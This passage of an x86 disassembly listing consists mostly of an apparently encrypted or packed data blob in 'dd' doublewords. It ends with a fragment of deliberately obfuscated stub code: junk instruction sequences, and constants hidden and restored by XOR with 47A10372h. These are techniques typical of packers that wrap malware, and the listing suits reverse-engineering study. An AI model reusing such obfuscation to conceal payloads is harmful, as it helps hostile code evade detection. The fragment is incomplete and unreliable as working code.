		dd 2D84A792h, 4921D740h
		dd 4FD13DD7h, 454A02E9h, 0B7E08FF5h, 1EC961D6h,	96395C73h
		dd 242E5901h, 0AD968378h, 9EB5FCE2h, 0D76C367Bh, 42ED4021h
		dd 3012EC2Bh, 90767076h, 6C6A476Ah, 0C11421D7h,	99C5FC16h
		dd 927C6E52h, 0BB0F1553h, 0E8C2D954h, 0E5444A04h, 0D6D7DBC2h
		dd 43489B21h, 0D6D7B2FCh, 0D52A8B21h, 0D72F4B77h, 6E6453h
		dd 0D1AE0000h, 0B5D8EF4Eh, 29BAA100h, 0DDD4F736h, 9929BAA0h
		dd 9A9F593Fh, 0D3F2F8A3h, 153D6980h, 0B41D3D9Eh, 44B989Eh
		dd 29B9E4A9h, 80DE3394h, 54345A42h, 376Dh, 0CCE2B700h
		dd 7529BAA0h, 36758CABh, 0B8BD755Ch, 0CBFABDC1h, 0C5C4D254h
		dd 85E27CBFh, 21742E5Ah, 264C300Ah, 0DA85AE03h,	0CA75C821h
		dd 6D3D75C5h, 2ACD9905h, 1D17797Fh, 0F809ECC6h,	5C138635h
		dd 1B20CB11h, 46CA1E24h, 14F8D2E9h, 9C1A85Ah, 0A8070D04h
		dd 59D53185h, 9CC8072Eh, 0D2B8A986h, 0F7BAB5C2h, 7F21DA65h
		dd 0AD07262Ch, 616611CBh, 2B577D63h, 0F1CF695Fh, 0C6EBE6A8h
		dd 0B021D9F0h, 5C9BB25Dh, 0D9F07839h, 0A5ABFE21h, 0D18B7143h
		dd 32ECCECCh, 0C19BBA2Dh, 0AA1F25DFh, 631D0355h, 0FDE61249h
		dd 0AFD0A761h, 71575157h, 3E61A0B7h, 21DA9173h,	9109A8CBh
		dd 227521DAh, 0A5F2F84Bh, 4D64C34Dh, 0CED38D73h, 4F72D1D7h
		dd 267A954Bh, 4D07EB45h, 0D0B688A2h, 0D4AE1116h, 343237EFh
		dd 978E934Bh, 0EDA3E6ECh, 70518BF1h, 0CFCDD28Ch, 0C32B30E8h
		dd 0B3DA257Ah, 0F1D7217Eh, 654B1D37h, 0BFA8A6ABh, 2D16F007h
		dd 24226F75h, 817F843Eh, 0B1DDE29Ah, 0A65093F0h, 0EE11508Fh
		dd 0B183EDC3h, 446D68BBh, 3AB183EEh, 176CE1E7h,	0B25DFC5h
		dd 19C2A8D4h, 0B8B851ECh, 18D2B8B2h, 0D655BB13h, 0CC1293BFh
		dd 5C83B2Ch, 0B4DDEAE5h, 868C379Eh, 750A0427h, 0C06CB624h
		dd 5F41EC71h, 80F0A1A5h, 0ECBED883h, 49474C06h,	0A8A6AB65h
		dd 40207BFh, 0C27A6122h, 161BC6BDh, 8FD22FE4h, 27DE3368h
		dd 8F97BFFBh, 8C92860Dh, 0D8F2AC92h, 61662006h,	11280709h
		dd 959B5537h, 10831336h, 0EBC5AE84h, 2B4A5008h,	6ECBED8h
		dd 8FD8BFF3h, 39E42173h, 0CFC0ED34h, 0F9DBC183h, 0B4D73A3Fh
		dd 0C183CFFDh, 90742679h, 2069D1D6h, 0E59A80C3h, 9E583E88h
		dd 17CFB284h, 0E083AF12h, 8B0DE06h, 61433D43h, 0F13AA2A7h
		dd 0AF674A9Ch, 0BCE0C395h, 84A01899h, 0E69E83C1h, 0C013EAE1h
		dd 0D3AD1015h, 363036EEh, 0A47E954Dh, 0B30006C0h, 64B60B40h
		dd 0DDAFC981h, 0FF2B42FAh, 0E4711D45h, 0CC191F0Fh, 788FAC74h
		dd 23D86155h, 0BFC417C6h, 0F5479CC9h, 34880112h, 10C9DB2h
		dd 0BB6611Bh, 26391FF1h, 0E4908856h, 0BBC06BF7h, 181DD7BDh
		dd 0C00A67B0h, 0CF0620DAh, 8BB653A3h, 343A2BCDh, 0E288F02Eh
		dd 331B3Bh, 2B650000h, 338B9048h, 0AB6547EDh, 0A0C6E900h
		dd 962E5ABBh, 837D3457h, 0A6F921DAh, 172E81A0h,	83FCB5D8h
		dd 288221DAh, 90878C46h, 7B7DDFE5h, 12h, 90482B11h, 4EED338Bh
		dd 0BDAA1437h, 0D92C2E5Ah, 0B2B3C5BFh, 0EE0522EEh, 0DA1783AFh
		dd 0E9EDA789h, 0BAC04157h, 59F5EF77h, 6116692Eh, 28FF377Ah
		dd 29060AD5h, 0EDBFEF12h, 9F793B06h, 0D9F8FEB6h, 0E7298186h
		dd 0CFF23148h, 350711E2h, 0E443499Ch, 0A70904C1h, 182F8239h
		dd 849E583Eh, 3912CCB2h, 0D9879CBBh, 90BDEBD4h,	66000013h
		dd 0D8AAC47Eh, 4D1F39F1h, 0C496B068h, 370923DBh, 2C819B55h
		dd 0F2AC8E83h, 682206D8h, 0E1997C4Eh, 550FF5C7h, 4D705B3Bh
		dd 21D73C64h, 0E20EA81Ah, 29BA9FCFh, 7A91AE72h,	5AAE4357h
		dd 0FFE33D2Eh, 0BADD4045h, 21DA91F7h, 0D6812C7Fh, 0F102E5BFh
		dd 0B881A5B9h, 5610F4C0h, 98AF5A51h, 0D9F23C75h, 44EF4221h
		dd 0A3C7F32Ah, 0C3AA8B49h, 4A2D272Dh, 0FE2A8D92h, 0F9A33A89h
		dd 7E787E77h, 8D05DE98h, 0AAEE14AEh, 130593C1h,	9F10000h
		dd 7C63354Fh, 0F3D8AAC4h, 664F213Bh, 0E0C294AEh, 0EB70C26h
		dd 637D3719h, 0D9F3AD91h, 526C2407h, 0C6E09A80h, 0D9D8FBE6h
		dd 0A521D73Bh, 4FD19933h, 0E4B6D9F0h, 5A2E5AAEh, 2F16F007h
		dd 0A48B5D77h, 3E9E7ECh, 0F3ACB1DDh, 12278F9Eh,	0D9F69A17h
		dd 0DF91E421h, 443B40F8h, 20438299h, 21D9F691h,	47949AEDh
		dd 7DCF2451h, 7AC4DE96h, 0E744CAE4h, 5911F6D0h,	5A575D54h
		dd 181DD5BCh, 92E389B5h, 0C2D6550Bh, 23579BCh, 0B61121DAh
		dd 373DF5DCh, 341B6DC2h, 0DD0BA123h, 0B8632150h, 1A75A1h
		dd 67393034h, 89C8FF61h, 0DA624B66h, 0DAE03321h, 3C41F9E0h
		dd 2DB9ADD9h, 61022671h, 1A19075Bh, 10A1C403h, 6621DA52h
		dd 8BAE0D13h, 2679AA64h, 98523892h, 0F7B19593h,	0FFB79A4Ch
		dd 24FE3D54h, 887F843Eh, 0B78A248Dh, 1075A29h, 28E2C8A2h
		dd 0B16DE511h, 0A9CC8115h, 696D382Ah, 4A4EB2C5h, 89B7DA85h
		dd 0B6181EE2h, 941D407Fh, 0EA29B70Eh, 30F39397h, 0C78D400Bh
		dd 0CEE1C7C1h, 0A5D21B58h, 7075209Fh, 3E240818h, 37E29A7Dh
		dd 3A52758Ch, 302E5618h, 3ECC6DDh, 0F8A35B44h, 0A1A75F46h
		dd 0C8826842h, 35F6DCAEh, 918F944Ch, 0F8EFF4ACh, 459DA24Dh
		dd 6B455CDBh, 67C6CC84h, 76DDFC28h, 551B46F3h, 0DA147F32h
		dd 0F9A4F721h, 0F7C2B0F3h, 0E93C2679h, 348FAE10h, 0A8D6BFE6h
		dd 1183h, 0B7D18B73h, 2C46FEE5h, 0A3BD755Ah, 1630E8D1h
		dd 8EA86244h, 0B99B9039h, 2F13E5FFh, 0A6895B75h, 1C02D4EEh
		dd 7D684862h, 0D73A575Ah, 13AD1F21h, 4D6487C6h,	2929BAA1h
		dd 2D8DD0D6h, 8829BAA1h, 0A7D3EDA5h, 80A3BA79h,	2E59F8F4h
		dd 89284B0Ah, 0F521D748h, 489E1336h, 85D821D7h,	873F28DAh
		dd 6EBC5DCh, 0C63A344Eh, 494F07ECh, 0B4DE0743h,	977B5554h
		dd 6153D7DDh, 9D000001h, 10EA49D1h, 0A10BA3C6h,	0A57829BAh
		dd 0BAA12F82h, 0C29B4729h, 5EB4EC6Dh, 768D38E3h, 7D9D1437h
		dd 86D929BAh, 0E447FA82h, 0C9CFABC8h, 0B0C4C6A7h, 4BD1DA48h
		dd 163912ECh, 0D65AE4EAh, 0BAC00ADDh, 0EE4DD198h, 6ECC614h
		dd 8F46BFF3h, 0BD6843E7h, 1FF4BAB7h, 5734DEF3h,	371Ch
		dd 6D4F2900h, 0D18BADB3h, 0C612EC4Bh, 0BAA10BA3h, 401A6D29h
		dd 0ECC6C4C6h, 4B454B03h, 0E8D4AE66h, 0EFA98B65h, 0CBEDF3EAh
		dd 48FBh, 0F2155400h, 29BAA0BFh, 3C5E64B7h, 12EC4BD1h
		dd 254887C6h, 29BAA08Ch, 56999FF2h, 29BAA158h, 651D04DEh
		dd 0AE44B5Fh, 0ECC6C4C6h, 504A500Ah, 0CC6AC6Bh,	8B651007h
		dd 4D6487C6h, 2929BAA1h, 853D24D6h, 46838980h, 0DEF31F00h
		dd 501C5734h, 66000000h, 4D6487C6h, 2929BAA1h, 967CD0D6h
		dd 87C6BF99h, 0E32ABB5Bh, 1F42C329h, 29BA0492h,	0E8EE99ECh
		dd 0BA0509A5h, 33156F29h, 0D27D7479h, 58597CBBh, 4329BA05h
		dd 79CCA35Dh, 0C4C65173h, 0B28C442Bh, 0A78B65E8h, 0EBF1E8EDh
		dd 26FBC9h, 0D1910000h,	0C614EE4Dh, 0BAA10BA3h,	0ADB87829h
		dd 901F9BE7h, 0C603DD88h, 8C442BC4h, 179AC6B2h,	0B6B14937h
		dd 89CF0C12h, 4E08ECC6h, 0FE911E48h, 9D77FFFFh,	0D9FB01BBh
		dd 4D6487C6h, 2929BAA1h, 947CD0D6h, 0EAEFA790h,	4A1E209Ah
		dd 0EF9AAB2Fh, 0C50A2D44h, 352E5927h, 913CF4DBh, 0F9BAA07Ah
		dd 94AE5913h, 657CB968h, 0D7186F42h, 0C6AD0721h, 724C630Eh
		dd 83D0D690h, 0D717773Ch, 865C621h, 0D76F74B2h,	3B9F53h
		dd 0E2E90000h, 29BAA0CBh, 1930EAD0h, 9DA25A3Fh,	0FF04BC9Fh
		dd 0C9AB5D08h, 0D130A0Fh, 0A11E90ABh, 0EC1829BAh, 0E8FE1730h
		dd 0C1151BC5h
		dd 0A6C9E05Fh, 2E5A85ACh, 0A3A5BF12h, 0DEh, 0E94FD139h
		dd 4C434800h, 33678AA1h, 0CD2E5A88h, 525711F3h,	0DC36555Bh
		dd 79903BF3h, 0BE7D603Ah, 5E7520DAh, 0DA77763Bh, 0A7AD0021h
		dd 0FB12CAADh, 7E843C21h, 0AF674A1Ch, 18CE52AAh, 1FA39E65h
		dd 0E6FDA83Ch, 790434C3h, 0E8FF5226h, 0EB8F75BCh, 0C4CAA4BDh
		dd 0F0A88B65h, 3A779AD9h, 4429B774h, 5289EBF1h,	4E1C1426h
		dd 15F9CC9Dh, 0B45F565Bh, 19D1B4AEh, 0F4D7B114h, 90954F35h
		dd 0EBE9EE99h, 9DA34E06h, 5168C749h, 56C6642Eh,	7087DA2Eh
		dd 0DCF6B096h, 0DBFE240Ah, 21DA22D6h, 5128E0C5h, 1E7A53FEh
		dd 33EE1465h, 0E6D1C4Ah, 0A1890000h, 14FBCDE7h,	8B70425Ch
		dd 0FEE7B9D3h, 785A2C46h, 664FA4BEh, 0FB15CFB1h, 718B4529h
		dd 0EA04BC9Fh, 5E783218h, 4170937Eh, 3D21D737h,	452B31CBh
		dd 8B48748Bh, 79331735h, 52145D75h, 0B9C4822Fh,	0FEA9FC29h
		dd 0C7ADABF8h, 57A0080Dh, 10CAB0FAh, 3AEA18F6h,	47055434h
		dd 4F000000h, 4D6487C6h, 2929BAA1h, 947CD0D6h, 515D8097h
		dd 0E72E5A8Eh, 6A6F290Dh, 78395C73h, 0FE21DA71h, 3386A5ABh
		dd 904A302Eh, 4BEA476h,	0B379A7FFh, 1A1116CEh, 9B7E586Fh
		dd 0E1E7DEE3h, 593B5F82h, 0C215267Ah, 442BAEA8h, 0B9A0728Ch
		dd 3B5FC01h, 3929BAA1h,	84C8380Dh, 83DFE39Bh, 140E1440h
		dd 0D28C7231h, 0DFD2D6CDh, 19C771EFh, 4F7B9540h, 1F4B62C1h
		dd 4D70866Bh, 29B9D664h, 0F6C3C71Ah, 4CABB129h,	59163829h
		dd 546BBE2Eh, 0C6DD957Ah, 4698149Ah, 593F4B43h,	8CEEF49Fh
		dd 6487C692h, 29BAA14Dh, 2EE6CF29h, 4B777D83h, 6454B4DEh
		dd 141h, 0EA49D1AEh, 0AD87C610h, 0C80B11CBh, 29BAA0E6h
		dd 0CF907650h, 362D32EAh, 0A71858Bh, 2C9AC630h,	54B43ED6h
		dd 9092F1F7h, 0D1DA48B0h, 3912EC4Bh, 0EE4DD153h, 8ECC614h
		dd 0AB6547h, 1FE04FBh, 8ECC63Bh, 9D14374Eh, 0D929BAA0h
		dd 5C7A8086h, 775734DEh, 33h, 0AECC6C1h, 376A0FF7h, 7A256162h
		dd 24787E75h, 0C6613BF8h, 0FD4BD39Ah, 0DEE4A753h, 63525C7Fh
		dd 0D12429BAh, 2BC4C6F7h, 0E8B48E46h, 43FBA2h, 0D1910000h
		dd 45FFE54Bh, 879E4940h, 0D12CAADh, 0D5DCFF16h,	0A129BAA0h
		dd 0C626484Eh, 0BAA10BA3h, 37117829h, 4D6487C6h, 2929BAA1h
		dd 864024D6h, 2B1F2180h, 0C6B48E46h, 44F809ECh,	0D5E18298h
		dd 46838934h, 6487C600h, 29BAA14Dh, 0CAD0D629h,	5734DE8Ch
		dd 278AADECh, 4F26BAA1h, 2D72F6FCh, 0BC000000h,	14EE4DD1h
		dd 0C8AD87C6h, 0E7C70A10h, 9129BAA0h, 969B5537h, 0C61AF49Fh
		dd 8C442BC4h, 0FBA2E8B2h, 2Bh, 0DB937A54h, 0B7D9DFD6h
		dd 14EE4DD1h, 0C8AD87C6h, 0E140B10h, 0BAA0E3CBh, 2239A029h
		dd 0A5AA6448h, 0C686A8AEh, 8C442BC4h, 0FBA2E8B2h, 0FFFFFEA9h
		dd 0F04FD191h, 0F919B6D9h, 0F5A12E59h, 0E3A186A9h, 0B2C974E1h
		dd 2138F2D8h, 66F2BFE2h, 0C8B121D7h, 3D140B10h,	4B82E4EAh
		dd 0CBD08871h, 179ABDD4h, 5F21D767h, 6FB2060Ch,	0F7DDB7CEh
		dd 0B5D8373Dh, 21D766FCh, 11A0C382h, 4021D767h,	48A3DDB5h
		dd 0A5F8CFEBh, 5AEF5FAh, 4421D776h, 98D78EE3h, 0D7763C75h
		dd 3DEF4221h, 92989E56h, 53D7CD54h, 107Fh, 0CBE2C900h
		dd 0D029BAA0h, 141630EAh, 0C4h,	0F04FD1AAh, 3A779AD9h
		dd 4429BAA1h, 698CEBF1h, 2E5AB529h, 17D1B50Fh, 59701B12h
		dd 8CBAF71Ah, 71C421DAh, 4F320C6Bh, 0C8AB7D97h,	6DB30B10h
		dd 268BB7CEh, 94825845h, 7DA0FF05h, 26791D7Eh, 502A4194h
		dd 4BAAB06Ah, 0BCD68E71h, 4A4F07EAh, 2C85A8E7h,	5229B71Dh
		dd 1D417093h, 0EA3D29B7h, 3BE5393Fh, 0AF5A12F5h, 9C7F5998h
		dd 0E2E8DFE4h, 566EF39Fh, 0E3FA4D2Eh, 64AD78A4h, 21A759Bh
		dd 621C02FCh, 0D6907648h, 13F8A7FDh, 0A9D7C0EEh, 0B03h
		dd 37510BF3h, 0ACC67E65h, 233DF5DAh, 96B06851h,	0E28E2C4h
		dd 391B10B9h, 0AF93657Fh, 2609DBF5h, 9C82546Eh,	0FDE8C8E2h
		dd 0D733D7DAh, 932D9F21h, 4D6487C6h, 2929BAA1h,	31E6197Dh
		dd 0B25D1E3Ah, 12CCB2ACh, 7E3F21FBh, 3238E39Bh,	4701E7E5h
		dd 3C91DA42h, 334A04EAh, 0B6BB7559h, 171CD6B8h,	0D6F7520h
		dd 3D7497D6h, 3929BA53h, 5ACCFE6h, 7129BA53h, 0D412181Eh
		dd 0FF5434A8h, 38h, 8ECC649h, 2CF4484Eh, 5DD5F80Fh, 232E5A91h
		dd 0E7CDCBD0h, 5B41132Dh, 0DC449CA1h, 6D25485Fh, 93267A84h
		dd 99FD8267h, 0BA5E3B76h, 0ECF04329h, 0C4CADEBFh, 3E3852A5h
		dd 3F6F9AC6h, 0E3545081h, 8508A9CCh, 1B6E29BAh,	7C341B15h
		dd 85734762h, 4F3229BAh, 0CF517D97h, 36365970h,	6C2E59DCh
		dd 5CA70A2Dh, 75CF21D7h, 2329D48Ch, 0C09AB104h,	7E381CDBh
		dd 1FBFB9D3h, 54B4DEE3h, 50745731h, 3AA0842Dh, 0FCA7FA29h
		dd 5C14F9F7h, 8B27ABB1h, 71000001h, 0D3EA49D1h,	44210AA7h
		dd 44F6D4A3h, 7C9EA45Eh, 254887C6h, 29BAA08Ch, 56999FF2h
		dd 29BAA158h, 0D1ABC229h, 342B30E8h, 0DCE19982h, 0C6BDDFE5h
		dd 0DA48B0C4h, 12EC4BD1h, 533C1639h, 0C673959Bh, 464C06ECh
		dd 22082CF2h, 28E3BD68h, 0DEF31F62h, 5E1C5734h,	66000000h
		dd 0D0529AC6h, 4CC5DD7Ch, 62AF246h, 6C636822h, 0A3C6E7C1h
		dd 29BAA10Bh, 0B26A532Dh, 91B0B6ADh, 446B0AE5h,	11BCD3EDh
		dd 2BC4C637h, 38778E46h, 0BABF775Eh, 0A0E9C8C3h, 429529BAh
		dd 0EDF3AB90h, 0C6A2E8CBh, 0A14D6487h, 0D62929BAh, 40A6D0h
		dd 0C0FF0000h, 0BAA1149Dh, 11176A29h, 0EC4BD1EFh, 7478A9D5h
		dd 5C0559C2h, 87C63456h, 90FC9ADh, 0BAA0E8C6h, 58329929h
		dd 462BC4C6h, 87C6B48Eh, 0A08C2548h, 9FF229BAh,	0BAA10DA4h
		dd 10166929h, 0F31F8DD3h, 1C5734DEh, 45h, 0EE4DD166h, 0BA3C614h
		dd 6D29BAA1h, 0C4C6401Ah, 758C442Bh, 0FAFFB99Bh, 0E8DBFD03h
		dd 0EBA58B65h, 958096E6h, 1D747AAAh, 79385B72h,	529B9A5h
		dd 0C68AACB2h, 305C1E9Ah, 0F6DD01BDh, 638D933Eh, 42h, 824DD1F9h
		dd 0BAA1525Fh, 2ED92C29h, 0BA3C654h, 7829BAA1h,	556C260Ah
		dd 0BAA07F32h, 0F9A4F729h, 6487C61Fh, 29BAA14Dh, 71D0D629h
		dd 0B8725832h, 842D50B3h, 0FA29BAA0h, 0D4F6FCA7h, 0B28C442Bh
		dd 64FBA2E8h, 54FFFFFEh, 0A0BFF215h, 64B729BAh,	4FD13C5Eh
		dd 19B6D9F0h, 0A12E59F9h, 775D374Eh, 0BBC1B8BDh, 0BBDE1D5Ch
		dd 21D748F6h, 7CB0C253h, 24FB558Ch, 0EBD1CBD1h,	24EB1731h
		dd 0E2CFF209h, 9C21D714h, 9CA15942h, 0AEF5FAA5h, 21D71505h
		dd 308EE344h, 53D76AF2h, 281Dh,	0ECC66700h, 0B99E500Ah
		dd 0FF05FC01h, 0BAA0F1BCh, 0AC4AA29h, 7C3419F3h, 187A8077h
		dd 692307E1h, 3D676D64h, 8Ah, 0F04FD1D3h, 0A140B6D9h, 63B62E5Ah
		dd 0D78F724Ch, 5008EBBDh, 0E2DF34Bh, 0F90BD4F7h, 9F4B2679h
		dd 0D00435EAh, 0D9D8FB28h, 0A529B71Fh, 0E5FCA752h, 8469280Bh
		dd 350721CCh, 3D959A52h, 1A3D54D3h, 2E567178h, 0BA94ABFEh
		dd 2E001AD4h, 65B58E48h, 82EE14B9h, 7996B99h, 755D0000h
		dd 0E8CFA1BBh, 5F441630h, 0D2BB8DA7h, 4C2E001Ah, 0BA237892h
		dd 0CFE9A385h, 455F19FDh, 0BED89073h, 324C06ECh, 6D446752h
		dd 921D730h, 452BFD97h,	3AE59D84h, 13F8D235h, 755B555Bh
		dd 54EB6BBh, 0BE785EA8h, 0D8EBCDA7h, 229FE791h,	40AB5EEh
		dd 0D886C4A2h, 47B15434h, 0FB000000h, 58844FD1h, 0FBA78FE9h
		dd 20918CCDh, 5629BA93h
		dd 1E415803h, 2E5A9538h, 0EF363B8Eh, 21DA95BEh,	83E7F8DDh
		dd 736CAB75h, 6D6B701Bh, 58CBD088h, 7383CE23h, 235FBD12h
		dd 7153D454h, 0F4FAB297h, 3F70h, 4FD1BA00h, 88B6D9F0h
		dd 0E2E5AB9h, 9678A4BBh, 0C46DB061h, 0E3E12E34h, 572943FDh
		dd 12CCB071h, 0DCFF160Dh, 21DA74D5h, 9EA34EA1h,	465DDA46h
		dd 7A74D323h, 0CBE23526h, 50550FF1h, 0F7F15359h, 26EAB6B3h
		dd 74B3F209h, 0BAA16051h, 0BDC31629h, 5AA5EC7Ah, 58FE2A2Eh
		dd 0B7472F1h, 4FB10023h, 7ACD21DAh, 0FEAAC9CFh,	0C9B9B28Fh
		dd 6A1FCA86h, 0EC759183h, 0D16EB2E1h, 521797BAh, 472166C4h
		dd 0B0A7AC64h, 33388BAAh, 0DFF635DBh, 0E48509BCh, 233A8D6Dh
		dd 92A96349h, 76813053h, 0AAFD6224h, 535812F8h,	22F4565Ch
		dd 0EFA9823Ch, 80ADCA10h, 6416997h, 0CDB50000h,	4027F913h
		dd 0B79C6E88h, 2A13E5FFh, 0A4865872h, 527BD0EAh, 2741FBDDh
		dd 9DB77155h, 1630E8CBh, 8AA45E44h, 159CBFAAh, 6121D72Fh
		dd 452B55EFh, 0A388868Bh, 7BA5D1EBh, 0E5CBA5BCh, 2B2F262Bh
		dd 55CA2774h, 0DB3A4018h, 773A5D9Ch, 0FF29B9D0h, 1E1F6053h
		dd 913CFAC9h, 7A97488Bh, 609F2E59h, 0D77A743Dh,	0B1B70A21h
		dd 0D73A3F92h, 5C621AFDh, 0ECC57D62h, 0EE170E38h, 0C0B6E4CDh
		dd 36000005h, 0A87A944Eh, 1DEF09C1h, 94668038h,	7D9F3ABh
		dd 0FC516B25h, 0C27C5ED3h, 38F2D6A8h, 0B1694C1Eh, 25DFC597h
		dd 1D402B0Bh, 21D72D94h, 0C6DE78EAh, 17BE009Ah,	0BA6DBDF4h
		dd 6266B929h, 0D4F73E50h, 29BA29DDh, 959B4699h,	0F307DF41h
		dd 8CB7DB99h, 607E5FE7h, 0D0C6BE5Ch, 354C1032h,	4EF9A425h
		dd 0E3E71437h, 0CC1F2E59h, 2CE4C9C7h, 1734A553h, 27553EEEh
		dd 547h, 0F30DC7AFh, 68823A21h,	0DFF9B196h, 526C240Dh
		dd 0CAE49E80h, 0F5D74C75h, 6B4F213Bh, 0E2C597B1h, 583E102Ah
		dd 0B9A4849Eh, 0D72E1B96h, 57F16321h, 0D9F04FD1h, 59F941B6h
		dd 0BD9F792Eh, 3106FF03h, 5C113530h, 0DFE43756h, 6B44FCE1h
		dd 0EE17CEC3h, 0F0497760h, 6000004h, 784A641Eh,	0EDBFD991h
		dd 64365008h, 0D7A9C37Bh, 0CC213BF5h, 924C2EE3h, 8C2A678h
		dd 81391CEEh, 0F5AF9567h, 0ED10FBDBh, 21D72DC4h, 2BAE48BAh
		dd 88868B45h, 70E3E8A2h, 0AE94E63Bh, 0DFB1DDF4h, 0AAC26FBCh
		dd 0B6ED4F55h, 6EAD7C8Ah, 0BCC2635Fh, 1D22DCC2h, 0BA91D8D6h
		dd 0A6FB6C29h, 9AB46E54h, 2328E2C8h, 6E853F25h,	91A50C2Fh
		dd 10F629BAh, 835A5156h, 9CC82A30h, 61A0B774h, 5CA5D235h
		dd 0D9BC2634h, 7A251C21h, 85454B76h, 898FB00Ch,	5A9FB846h
		dd 1C3F7E2Eh, 21DA9295h, 69888EE1h, 0E3CA1116h,	5A21DA92h
		dd 9051350Fh, 444AF5ADh, 0E9C372CFh, 41474D07h,	53D4E805h
		dd 2D2Eh, 4FD17800h, 3CB6D9F0h,	0C22E5AA0h, 0C7CC8668h
		dd 7E29E3C9h, 2687CED3h, 1721DAA0h, 0C70359B6h,	1553D4EBh
		dd 999F593Bh, 0C915h, 87C65F00h, 0BAA14D64h, 0D0D62929h
		dd 3136F0D6h, 92975133h, 0DDF4AE94h, 5D621A03h,	0A0DAD7FAh
		dd 51A429BAh, 5553A0A6h, 809BB56Fh, 29BAA4F0h, 718B452Bh
		dd 0FAFFB99Fh, 0AAC17EA2h, 9D69486Bh, 691529BAh, 1E773847h
		dd 0D0D6813Dh, 4FD84E71h, 3B8E2E5Ah, 0C2BF521h,	346BC9F5h
		dd 0DB0A4C13h, 0B88E8ED7h, 0F156A72h, 0AE9771B0h, 0A9540CEFh
		dd 149660A3h, 9DF02678h, 9CAAC86h, 6F666B25h, 0F6D8AAC4h
		dd 9CD1633Ch, 7962E636h, 3724Bh, 0E29C8400h, 570FF6C8h
		dd 0CE866B3Dh, 41F9E2B4h, 0B9735527h, 0AC614A9Fh, 24F610CAh
		dd 9A6C8640h, 13E5FFB7h, 7959732Dh, 2C466B8Eh, 0BE3021D7h
		dd 8F492B24h, 3BDA375h,	0ECC6EFE9h, 0F5494F07h,	0B6F50C2Bh
		dd 0FDB79D77h, 0AB0601F8h, 0D329BAA0h, 0BB377A80h, 452E5A9Fh
		dd 7A6EDF2h, 9421DAA0h,	5109EEADh, 0C1A3A1A6h, 1F040207h
		dd 8B6B6267h, 1A2A75CAh, 0D80664B9h, 0F353D4EBh, 0B4h
		dd 8B452B3Dh, 0ECA68886h, 0A4D0A0E7h, 654B29BAh, 0D9BF91ABh
		dd 78B71A1Fh, 9C9B1639h, 90E329BAh, 0BA9D1C95h,	90F6229h
		dd 0B5CC6BB5h, 9D143776h, 0D929BA9Ch, 654C6F86h, 1129BA9Dh
		dd 0B175B8BEh, 0A72E5A7Eh, 7E633D54h, 7520D8BFh, 11737970h
		dd 0E5FC3BE5h, 77F095C2h, 8BA2F526h, 0D78F724Ch, 0DBD5DBD2h
		dd 53253FF9h, 52DEB771h, 0E7E63685h, 27DD0FEh, 91790000h
		dd 4EBBDD7h, 7B60324Ch,	0EED7A9C3h, 684A1C36h, 963F94AEh
		dd 0EB05BFA1h, 617B3519h, 0DAF4AC8Fh, 4E682208h, 5160836Eh
		dd 2D21D72Bh, 492B21BBh, 0BDA3758Fh, 2B12EC03h,	110B6D73h
		dd 0FC1F452Bh, 29BAA0B5h, 0ACC36EC1h, 3035EDD2h, 83E63339h
		dd 0EB451844h, 93851483h, 0B9C61998h, 0EEA88A29h, 0C81BF2E9h
		dd 28E2C8C2h, 42ECE511h, 7C7BE996h, 38E81476h, 95C1E4FBh
		dd 0F32E59B1h, 18362E47h, 15F97669h, 5B05Bh, 0D9D9F4B9h
		dd 8BE84921h, 0D4210935h, 202253h, 0D16C0000h, 0B6D9F04Fh
		dd 2E5ABA9Ch, 83CACF22h, 21DA872Ah, 0FF5DB213h,	53D4F0C3h
		dd 18ECh, 0CCE23600h, 7529BAA0h, 52758CABh, 2E5A8790h
		dd 0D1896CC6h, 102AD5CCh, 0F04FD116h, 5E16FFD9h, 0FD5C6259h
		dd 5AB724DAh, 5073322Eh, 21DA8B61h, 1A1FCA1Dh, 0DA8ADAD3h
		dd 20D8C121h, 80381D1Bh, 0DE967D7Bh, 4102E2D9h,	3091A1ECh
		dd 0F0417DD3h, 2F6A53D4h, 77000000h, 0F8FEB69Dh, 0A0CBE2D6h
		dd 0AA7629BAh, 0B9657734h, 0D0B53EFBh, 0D9BB6D18h, 78231A1Fh
		dd 80A43E61h, 0C09A2E5Ah, 7E381CDBh, 5BAECDD3h,	4FD14741h
		dd 39B6D9F0h, 0C12E59F9h, 977D576Eh, 8B36F0D6h,	7A603A71h
		dd 0DAC0BAC0h, 5DC31B20h, 0E8A4C7DEh, 1E2676A0h, 0A0F5BCDFh
		dd 2E8129BAh, 0CCAF0928h, 78526914h, 0E7C1D892h, 50474C04h
		dd 3016E84Ah, 0F7197176h, 0A108A9CCh, 146E29BAh, 19CB7630h
		dd 82797E36h, 5581C0D7h, 0A294DBFAh, 0BA6C9F4h,	7329BA14h
		dd 2C6F7520h, 2E59F646h, 0FE845DB0h, 97EE148Eh,	0C180AEh
		dd 4D350000h, 0C0A77993h, 371CEE08h, 0AA93657Fh, 2406D8F2h
		dd 0D2FB506Ah, 0A7C17B5Dh, 1D37F1D5h, 96B0684Bh, 0A24DEC4h
		dd 951C3F2Ah, 0E121D728h, 4FD1D56Fh, 1AFFD9F0h,	0A0DED3F6h
		dd 459829BAh, 1235949Ah, 2E59F876h, 5E8AA1F4h, 0EC01E757h
		dd 0E4313781h, 2F4600E6h, 0AFB56F55h, 0DB957B4Dh, 4C4773D6h
		dd 384FFAEBh, 4D71B4BAh, 7B204845h, 0B99FE946h,	7DA9E8FFh
		dd 0D499ABA1h, 4D645FCCh, 4E234864h, 0B3AAAF67h, 218389DCh
		dd 0AAAF694Fh, 60BC3ACh, 686D2508h, 0C4C9816Ah,	7CC71C51h
		dd 0FE48A5D2h, 0D445E18h, 9684F4E1h, 5C60DBFDh,	37B49C8Ah
		dd 524C529Dh, 7FADB26Ch, 3, 2B662415h, 86848943h, 0E3E1E6A0h
		dd 45434800h, 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh
		dd 222025DDh, 6D7E833Bh, 81E18951h, 4C1h, 4E98100h, 87000000h
		dd 895C240Ch, 0B368242Ch, 89000054h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 7E35A7Ah
		push	ebx
		mov	ebx, eax
		mov	esi, ebx
		pop	ebx
		pop	eax
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		push	ecx
		mov	ecx, 47A10372h
		xor	[esp+4], ecx
		pop	ecx
		pop	dword ptr [ebx+8]
		xor	dword ptr [ebx+8], 47A10372h
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
